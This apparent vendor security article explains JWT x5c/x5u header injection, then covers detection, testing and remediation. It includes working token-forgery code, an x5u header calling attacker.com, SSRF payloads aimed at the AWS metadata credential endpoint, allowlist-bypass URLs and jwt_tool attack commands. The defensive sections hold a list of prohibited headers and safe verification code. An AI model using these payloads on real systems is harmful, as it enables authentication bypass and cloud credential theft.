JWT x5c/x5u injection (CWE-345): substitute attacker-controlled signing certificates via header parameters to forge tokens and trigger SSRF.
TL;DR
The x5c and x5u JWT header parameters provide X.509 certificate-based key discovery for JWS. x5c (X.509 Certificate Chain) embeds a base64-encoded DER certificate chain directly in the header. x5u (X.509 URL) provides a URL from which the server fetches the certificate. Both are defined in RFC 7515 §4.1.5 and §4.1.6.
Vulnerabilities arise when the server accepts these parameters without validating the certificate against a trusted CA store or a pre-registered allowlist. The attack pattern mirrors jwk injection: the attacker provides their own X.509 material, and the server uses the embedded certificate's public key to verify the token's signature — which the attacker generated with the matching private key.
x5u adds a second attack dimension: the server-side HTTP fetch is a Server-Side Request Forgery (SSRF) vector. If an attacker can control the URL the server fetches, they can redirect it to internal services, cloud instance metadata endpoints, or other sensitive targets. Combined with authentication bypass, x5u SSRF ranks among the highest-impact JWT attack variants.
These attacks are classified under CWE-345 (Insufficient Verification of Data Authenticity) and OWASP A02:2021 (Cryptographic Failures).
Full Python implementation:
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
import datetime, base64, json
def b64url(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
# Step 1: Generate RSA keypair
private_key = rsa.generate_private_key(
public_exponent=65537, key_size=2048, backend=default_backend()
)
# Step 2: Generate self-signed X.509 certificate
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, u"attacker.example.com"),
])
cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(private_key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.utcnow())
.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365))
.sign(private_key, hashes.SHA256(), default_backend())
)
# Step 3: DER encode certificate and base64url it
cert_der = cert.public_bytes(serialization.Encoding.DER)
cert_b64 = base64.b64encode(cert_der).decode() # x5c uses standard base64, not urlsafe
# Step 4: Build forged JWT header with x5c
forged_header = {
"alg": "RS256",
"typ": "JWT",
"x5c": [cert_b64] # array of base64-encoded DER certs
}
# Step 5: Build malicious payload
forged_payload = {
"sub": "user123",
"role": "admin",
"exp": 9999999999
}
# Step 6: Encode and sign
h = b64url(json.dumps(forged_header, separators=(',',':')).encode())
p = b64url(json.dumps(forged_payload, separators=(',',':')).encode())
msg = f"{h}.{p}".encode()
sig = private_key.sign(msg, padding.PKCS1v15(), hashes.SHA256())
forged_token = f"{h}.{p}.{b64url(sig)}"{
"alg": "RS256",
"typ": "JWT",
"x5u": "https://attacker.com/attacker-cert.pem"
}The server fetches https://attacker.com/attacker-cert.pem, retrieves the attacker's self-signed certificate, extracts its public key, and verifies the token's signature against that key.
The attacker hosts a minimal PEM certificate at the x5u URL:
# Generate attacker certificate (one-liner)
openssl req -x509 -newkey rsa:2048 -keyout attacker_private.pem \
-out attacker_cert.pem -days 365 -nodes -subj "/CN=attacker"
# Serve it on any HTTP server
python3 -m http.server 80 # host attacker_cert.pem at /attacker_cert.pem# Attack chain: x5u → SSRF → AWS IMDSv1 credential theft
malicious_header = {
"alg": "RS256",
"x5u": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
}
# Server fetches IMDSv1 endpoint
# Response: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
# These credentials allow full AWS API access as the instance's IAM roleFor OOB detection:
{
"alg": "RS256",
"x5u": "https://YOUR_INTERACTSH.oast.fun/cert.pem"
}Monitor Interactsh for DNS/HTTP callbacks. A callback confirms the server fetches the x5u URL, even if certificate validation fails — the SSRF is confirmed independently of the auth bypass.
| Variant | Payload | Impact | Notes |
|---|---|---|---|
| x5c self-signed cert | Embedded DER cert in header | Auth bypass | No network needed |
| x5u remote cert | URL to attacker-controlled cert | Auth bypass + SSRF | Server makes outbound request |
| x5u SSRF → metadata | x5u=http://169.254.169.254/... | Cloud cred theft | AWS/GCP/Azure IMDSv1 |
| x5u SSRF → internal | x5u=http://internal:6379/... | Internal service scan | Redis, memcached, k8s API |
| x5u URL allowlist bypass | Subdomain/userinfo bypass | Filter evasion | See bypass patterns below |
Applications may implement allowlists requiring x5u to start with a trusted domain:
# Allowlist: "https://idp.example.com/*"
# Subdomain confusion
"x5u": "https://idp.example.com.attacker.com/cert.pem"
# Userinfo bypass (RFC 3986 §3.2.1)
"x5u": "https://idp.example.com@attacker.com/cert.pem"
# Open redirect chain
"x5u": "https://idp.example.com/redirect?url=https://attacker.com/cert.pem"
# Unicode hostname (some parsers normalize differently)
"x5u": "https://idp。example.com/cert.pem" # Unicode dotInternal Enterprise OIDC — x5c Injection (Critical, Pentest Finding)
During a penetration test of an enterprise's internal API gateway, a security researcher discovered the gateway processed x5c headers without CA validation. The gateway was designed for a multi-tenant deployment where different internal services used different certificate authorities. Rather than implementing a trust store, the developer had left CA validation commented out during testing. The researcher generated a self-signed certificate, injected it via x5c, signed a token with role: "system-admin", and accessed the internal cluster API. Remediated by removing x5c support and requiring all tokens to be verified against a pre-loaded JWKS.
x5u SSRF — Cloud Credentials via IMDSv1 (Bug Bounty, Critical)
A security researcher found a REST API that fetched the x5u URL and returned meaningful error messages when the certificate was invalid. By setting x5u to http://169.254.169.254/latest/meta-data/iam/security-credentials/, the server response included the AWS instance role name in the error message. A second request with the full credential endpoint returned the AccessKeyId, SecretAccessKey, and Token fields. Combined with auth bypass (the server accepted the attacker's self-signed cert after providing one that passed format validation), this gave the researcher full AWS API access as the instance's IAM role.
CVE-2026-22817 — Hono x5c/jwk Processing (CVSS 8.2) Hono's JWT middleware for edge runtimes did not validate the embedded key source type. A token with an x5c header caused the library to extract the certificate's public key and verify the signature against it — identical to the jwk injection attack pattern. Hono was one of the fastest-growing edge framework packages at the time of the disclosure, with extensive use in Cloudflare Workers environments.
PortSwigger Research — x5u SSRF Detection in Enterprise APIs PortSwigger's research team documented x5u SSRF as an underexplored attack vector in enterprise JWT implementations. The team found that large enterprises running OIDC federation frequently implemented x5u support for multi-CA environments, but applied URL allowlists only partially — allowing subdomain confusion and open redirect bypasses to defeat the controls.
x5c or x5u fields."x5u": "https://YOUR.burpcollaborator.net/cert.pem".# Generate self-signed cert
openssl req -x509 -newkey rsa:2048 -keyout /tmp/attacker_key.pem \
-out /tmp/attacker_cert.pem -days 365 -nodes -subj "/CN=attacker"
# jwt_tool x5c injection attack
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X c -np
# (-X c = x5c injection attack)"x5u": "https://YOUR_SERVER/attacker_cert.pem".x5u to http://169.254.169.254/latest/meta-data/. Check if the response leaks instance metadata or if there are signs of a server-side fetch in response timing or error messages.Burp JWT Editor:
jwt_tool:
# Test x5c injection
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X c -np -url "https://target.com/api/protected"
# Test x5u with OOB URL
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -I -hc x5u -hv "https://YOUR.interactsh.com/cert.pem"BreachVex detects x5c/x5u through key-source injection testing. It probes both vectors: x5c by embedding a generated self-signed certificate and testing the forged token against the confirmed authentication oracle; x5u by injecting an out-of-band callback URL and polling for server-side fetches. For x5u, a DNS/HTTP callback alone is reported as an SSRF finding; a callback combined with an authenticated response is escalated to a critical authentication-bypass finding.
PROHIBITED_JWT_HEADERS = {"jwk", "jku", "x5c", "x5u", "x5t", "x5t#S256"}
def parse_and_verify_jwt(token: str, trusted_public_key, algorithm: str = "RS256") -> dict:
import jwt as pyjwt
# Inspect header BEFORE any cryptographic operation
try:
header = pyjwt.get_unverified_header(token)
except pyjwt.exceptions.DecodeError as e:
raise ValueError(f"Invalid JWT format: {e}")
found_prohibited = PROHIBITED_JWT_HEADERS & header.keys()
if found_prohibited:
raise SecurityError(
f"JWT contains prohibited key injection headers: {found_prohibited}. "
"Token rejected without verification."
)
if header.get("alg") != algorithm:
raise SecurityError(f"Unexpected algorithm: {header.get('alg')!r}")
# Only now perform verification against the server-controlled key
return pyjwt.decode(token, trusted_public_key, algorithms=[algorithm])import { jwtVerify, createRemoteJWKSet } from 'jose';
// The jose library has x5c/x5u support — configure it to use only trusted JWKS
const TRUSTED_JWKS = createRemoteJWKSet(
new URL('https://YOUR-TRUSTED-ISSUER/.well-known/jwks.json')
);
// This verifies against the trusted JWKS only, not header-embedded key material
const { payload } = await jwtVerify(token, TRUSTED_JWKS, {
algorithms: ['RS256'],
issuer: 'https://YOUR-TRUSTED-ISSUER',
audience: 'your-api',
});
// Explicitly check for prohibited headers if library version supports them
const header = decodeProtectedHeader(token); // jose utility
if ('x5c' in header || 'x5u' in header || 'jwk' in header || 'jku' in header) {
throw new Error('Prohibited header parameter');
}from urllib.parse import urlparse
ALLOWED_CERT_DOMAINS = {"cert.example.com", "certs.idp.example.com"}
def fetch_x5u_certificate(x5u_url: str) -> bytes:
parsed = urlparse(x5u_url)
# Allowlist check — exact domain match
if parsed.netloc not in ALLOWED_CERT_DOMAINS:
raise SecurityError(f"x5u domain not in allowlist: {parsed.netloc!r}")
# Scheme check — HTTPS only
if parsed.scheme != "https":
raise SecurityError(f"x5u must use HTTPS, got: {parsed.scheme!r}")
# Fetch with timeout and size limit
import httpx
response = httpx.get(x5u_url, timeout=5.0, follow_redirects=False)
if len(response.content) > 65536: # 64KB max
raise SecurityError("x5u certificate too large")
return response.contentx5u SSRF can escalate to cloud credential theft. In AWS environments using IMDSv1, a server-side HTTP request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns the instance's IAM role credentials without authentication. If your JWT verification code fetches the x5u URL without SSRF protection, an unauthenticated attacker can exfiltrate AWS credentials in a single request. Upgrade to IMDSv2 (requires PUT with TTL header) and add SSRF mitigations to any code that fetches user-controlled URLs.
x5c injection abuses the x5c header parameter (RFC 7515), which embeds a DER-encoded X.509 certificate chain in the JWT header. A vulnerable library accepts the token's signature as valid if it matches the public key in the embedded certificate — without verifying that certificate is trusted by a CA or server-controlled trust store. The attacker generates a self-signed certificate, embeds it in x5c, and signs the token with the matching private key.
x5u (X.509 URL) is a header parameter specifying a URL from which to fetch the signing certificate. If the server fetches this URL without validation, an attacker sets x5u to point to an attacker-controlled server hosting a self-signed certificate. The server fetches the certificate, verifies the token's signature against it — and accepts the forged token. The x5u URL fetch is also a SSRF vector: it can target cloud metadata (169.254.169.254), internal services, and Redis/memcached endpoints.
x5c embeds an X.509 certificate (the full DER-encoded cert chain); jwk embeds a raw public key in JWK format. Both allow an attacker to supply their own key material via the token header. x5c has an additional dimension: it involves X.509 certificate validation logic (CA chains, certificate policies, revocation) which can create additional bypass surfaces. The attack goal is identical: make the server verify against attacker-controlled key material.
Yes. If the server is running in AWS, GCP, or Azure and fetches the x5u URL, an attacker can set x5u to http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDSv1) or equivalent cloud metadata endpoints. The server-side fetch returns AWS credentials, GCP service account tokens, or Azure managed identity tokens. This converts a JWT x5u SSRF into cloud credential exfiltration with a single HTTP request.
Both are URL-based remote key injection vectors. jku points to a JWKS endpoint (JSON format); x5u points to an X.509 certificate URL (PEM or DER format). Both require the server to make an outbound HTTP request to fetch the key material. jku is more commonly supported and tested; x5u is less common but enables additional attack chains through X.509 certificate trust logic.